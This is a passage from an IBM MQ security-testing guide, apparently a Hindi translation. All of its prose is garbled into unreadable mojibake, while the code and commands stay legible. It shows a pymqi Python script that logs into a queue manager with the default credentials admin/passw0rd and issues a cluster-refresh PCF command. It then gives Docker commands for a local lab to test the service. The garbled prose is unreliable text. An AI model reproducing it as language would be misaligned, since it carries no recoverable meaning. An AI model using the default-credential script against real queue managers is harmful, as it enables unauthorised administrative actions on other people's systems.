MQCMD_REFRESH_CLUSTER рдХрд╛ рдЙрджрд╛рд╣рд░рдг (рджрд╢рдорд▓рд╡ = 73)ред рдЗрд╕реЗ MQCA_CLUSTER_NAME (рджрд╢рдорд▓рд╡ = 2029) рдкреИрд░рд╛рдореАрдЯрд░ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ, рдЬреЛ * рд╣реЛ рд╕рдХрддрд╛ рд╣реИ (рджрд╕реНрддрд╛рд╡реЗрдЬрд╝: ):

import pymqi

queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'

qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)

try:
    args = {2029: "*"}
    response = pcf.MQCMD_REFRESH_CLUSTER(args)
except pymqi.MQMIError as e:
    print("Error")
else:
    print(response)

qmgr.disconnect()

рдкрд░реАрдХреНрд╖рдг рд╡рд╛рддрд╛рд╡рд░рдг

рдпрджрд┐ рдЖрдк IBM MQ рдХреЗ рд╡реНрдпрд╡рд╣рд╛рд░ рдФрд░ рд╢реЛрд╖рдг рдХрд╛ рдкрд░реАрдХреНрд╖рдг рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ, рддреЛ рдЖрдк Docker рдкрд░ рдЖрдзрд╛рд░рд┐рдд рдПрдХ рд╕реНрдерд╛рдиреАрдп рд╡рд╛рддрд╛рд╡рд░рдг рд╕реЗрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

  1. ibm.com рдФрд░ cloud.ibm.com рдкрд░ рдПрдХ рдЦрд╛рддрд╛ рд╣реЛрдирд╛ред
  2. рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХреЗ рд╕рд╛рде рдПрдХ рдХрдВрдЯреЗрдирд░рд╛рдЗрдЬреНрдб IBM MQ рдмрдирд╛рдПрдВ:
sudo docker pull icr.io/ibm-messaging/mq:9.3.2.0-r2
sudo docker run -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR -p1414:1414 -p9157:9157 -p9443:9443 --name testing-ibmmq icr.io/ibm-messaging/mq:9.3.2.0-r2

рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ, рдкреНрд░рдорд╛рдгреАрдХрд░рдг рд╕рдХреНрд╖рдо рд╣реИ, рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо admin рд╣реИ рдФрд░ рдкрд╛рд╕рд╡рд░реНрдб passw0rd рд╣реИ (рдкрд░реНрдпрд╛рд╡рд░рдг рдЪрд░ MQ_ADMIN_PASSWORD)ред рдпрд╣рд╛рдБ, рдХрддрд╛рд░ рдкреНрд░рдмрдВрдзрдХ рдХрд╛ рдирд╛рдо MYQUEUEMGR рдкрд░ рд╕реЗрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ (рдЪрд░ MQ_QMGR_NAME)ред

рдЖрдкрдХреЗ рдкрд╛рд╕ IBM MQ рдЪрд╛рд▓реВ рдФрд░ рдЪрд▓ рд░рд╣рд╛ рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП рдФрд░ рдЗрд╕рдХреЗ рдкреЛрд░реНрдЯреНрд╕ рдЦреЛрд▓реЗ рд╣реБрдП рд╣реЛрдиреЗ рдЪрд╛рд╣рд┐рдП:

тЭп sudo docker ps
CONTAINER ID   IMAGE                                COMMAND                  CREATED         STATUS                    PORTS                                                                    NAMES
58ead165e2fd   icr.io/ibm-messaging/mq:9.3.2.0-r2   "runmqdevserver"         3 seconds ago   Up 3 seconds              0.0.0.0:1414->1414/tcp, 0.0.0.0:9157->9157/tcp, 0.0.0.0:9443->9443/tcp   testing-ibmmq

IBM MQ рдбреЙрдХрд░ рдЗрдореЗрдЬ рдХреЗ рдкреБрд░рд╛рдиреЗ рд╕рдВрд╕реНрдХрд░рдг рдпрд╣рд╛рдБ рд╣реИрдВ: https://hub.docker.com/r/ibmcom/mq/.

References